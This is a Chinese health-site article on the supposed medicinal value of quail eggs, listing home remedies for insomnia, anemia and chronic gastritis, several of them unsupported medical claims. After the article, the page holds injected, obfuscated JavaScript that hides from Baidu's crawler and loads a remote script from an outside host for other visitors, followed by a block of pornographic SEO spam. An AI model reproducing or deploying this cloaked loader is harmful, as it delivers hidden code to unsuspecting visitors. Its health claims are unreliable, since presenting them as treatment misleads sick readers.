當前位置:首頁 > 飲食 > 食物營養 > 正文

鵪鶉蛋的藥用價值是什么

2017-07-12 08:32:45  來源:360常識網   熱度:
導語:提起鵪鶉蛋,相信很多人都不會感到陌生。它通常被人們認為是動物中的人參,滋補效果非常的好。鵪鶉蛋的營養價值一點也不會比雞蛋低,有著很

提起鵪鶉蛋,相信很多人都不會感到陌生。它通常被人們認為是動物中的人參,滋補效果非常的好。鵪鶉蛋的營養價值一點也不會比雞蛋低,有著很好的美容養顏的作用,是受到很多女性朋友喜歡的。那么,鵪鶉蛋的藥用價值是什么呢?下面一起來看一下這篇文章的介紹吧。

鵪鶉蛋的營養價值不亞于雞蛋,豐富的蛋白質、腦磷脂、卵磷脂、賴氨酸、胱氨酸、維A、維B2、維B1、鐵、磷、鈣等營養物質,可補氣益血,強筋壯骨。鵪鶉蛋中氨基酸種類齊全,含暈豐富,還有高質量的多種磷脂,激素等人體必需成分,鐵、核黃素、維生素A的含量均比同量雞蛋高出兩倍左右,而膽固醇則較雞蛋低約三分之一,所以是各種虛弱病者及老人、兒童及孕婦的理想滋補食品。鵪鶉蛋含有較高的蛋白質,腦磷脂、卵磷脂、鐵和維生素等。

鵪鶉蛋外觀小巧,但營養價值很高。

適用人群:

適宜嬰幼兒,孕產婦、老人、病人及身體虛弱的人食用;腦血管病人不宜多食鵪鶉蛋。

用法用量:

1、神經衰弱、失眠多夢:鵪鶉蛋早晚各吃2個,常食有效;

2、治貧血、病后體虛:鵪鶉蛋4個、桂圓20克、薏米30克、大棗10個、紅糖25克。先將鵪鶉蛋煮熟,剝皮待用,鍋內加水適量,然后加入桂圓、薏米、大棗煮粥。粥煮熟后,再加入鵪鶉蛋及紅糖,即可食用。每日服一次,連用60天;

3、慢性胃炎:鵪鶉蛋4個,打入250克的牛奶中,文火煮沸,早晚各食1次,常服有效。

食用功效

鵪鶉蛋味甘,性平。有補益氣血、強身健腦、豐肌澤膚等功效。鵪鶉蛋對貧血、營養不良、神經衰弱、月經不調、高血壓、支氣管炎、血管硬化等病人具有調補作用;對有貧血、月經不調的女性,其調補、養顏、美膚功用尤為顯著。

以上便是關于鵪鶉蛋的藥用價值的介紹。鵪鶉蛋可以算得上是一種美食,它的食用方法通常都是用水煮熟以后,再剝去外殼食用,口感非常的好。所以在生活中多一些對鵪鶉蛋食用方法的了解,對于我們自身的健康來說是非常有幫助的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品入口麻豆免费观看| 麻豆一区二区三区精品视频| 亚洲日韩中文在线精品第一| 国产精品亚洲一区二区三区| 久久亚洲精品国产亚洲老地址 | 久久久无码精品亚洲日韩软件| 9999国产精品欧美久久久久久| 麻豆麻豆必出精品入口| 久久精品国产亚洲AV麻豆网站| 久久精品成人无码观看56| 国产午夜精品久久久久免费视| 久久99精品久久久久久齐齐| 亚洲精品国产电影| 亚洲AⅤ永久无码精品AA| 国产乱子伦精品视频| 午夜精品久久久久久久99| 国产一区二区三区精品久久呦| 国产精品久久久久影院| 国产三级精品视频| 人妻少妇精品久久| 亚洲精品视频久久久| 国产69精品久久久久99尤物| 国产精品亚洲二区在线观看| 亚洲精品视频在线看| 国产精品 91 第一页| 精品无码一级毛片免费视频观看 | 中文字幕成人精品久久不卡| 嫖妓丰满肥熟妇在线精品| 日韩精品无码熟人妻视频| 99久久国产综合精品2020| 亚洲国产成人精品久久| 亚洲精品一二三区| 精品国产天堂综合一区在线| 国产精品成年片在线观看| 麻豆人妻少妇精品无码专区| 国产精品成人h片在线| 国产综合精品蜜芽| 小辣椒福利视频精品导航| 亚洲国产成人精品青青草原| 亚洲精品无码专区久久| 国产精品久久久久9999赢消|